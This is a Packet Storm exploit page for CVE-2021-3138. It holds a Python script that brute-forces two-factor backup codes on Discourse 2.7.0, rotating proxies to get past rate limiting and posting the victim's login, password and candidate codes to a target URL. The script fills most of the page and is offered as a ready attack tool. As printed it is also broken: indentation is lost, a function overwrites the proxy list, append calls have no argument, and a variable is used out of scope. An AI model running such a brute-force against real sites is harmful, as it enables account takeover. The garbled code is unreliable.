what you don't know can hurt you

Discourse 2.7.0 2FA Bypass

Discourse 2.7.0 2FA Bypass
Posted Apr 21, 2021
Authored by Mesh3l_911

Discourse version 2.7.0 suffers from a 2FA bypass via a rate limiting bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2021-3138
SHA-256 | 2bca6a9383c0752266eab59c8bc7f6940922fa463e608ebd40ade06673b8a02c

Discourse 2.7.0 2FA Bypass

Change Mirror Download
# Exploit Title: Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass
# Date: 14/01/2021
# Exploit Author: Mesh3l_911
# Vendor Homepage: https://www.discourse.org/
# Software Link:https://github.com/discourse/discourse
# Version: Discourse 2.7.0
# CVE: CVE-2021-3138

import requests

username = input("\n input ur username : ")
password = input("\n input ur password : ")
session=requests.session()

proxies = []
def proxies():
proxies_path = input("\n input ur proxies path : ")

with open(proxies_path, 'r') as prox:
for _ in prox.read().splitlines():
proxies.append()

backup_codes = []
def backup_list():
Backup_codes = input("\n input ur Backup_codes list path : ")

with open(Backup_codes, 'r') as codes:
for _ in codes.read().splitlines():
backup_codes.append()

def exploit():
with open('Backup_codes.txt', 'w') as results:
try:
for __ in proxies:
for _ in codes.read().splitlines():
header =\
{
"X-CSRF-Token": "ur X-CSRF-Token",
"Cookie": "ur Cookie",
"X-Requested-With": "XMLHttpRequest"
}
body = {"login": username, "password": password, "second_factor_token": _, "second_factor_method": "2"}
request = session.post("ur target_url", headers=header, data=body, proxies={'http': __, 'https':__})
source = request.text
backup_codes.remove(_)

if request.status_code == 200:
if '"id"' in source:
results.write("The Backup_Coude is > {} ".format(_))
return True
else:
pass
else:
proxies.remove(__)
break


except requests.exceptions.SSLError and requests.exceptions.ConnectionError:
print(" Connection Failed :( ")

results.close()


def main():
if exploit():
print("\n Found :) \n")
else:
print("\n Please re-check ur inputs :( \n")
if __name__ == '__main__':
main()

Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    6 Files
  • 24
    May 24th
    19 Files
  • 25
    May 25th
    5 Files
  • 26
    May 26th
    12 Files
  • 27
    May 27th
    12 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close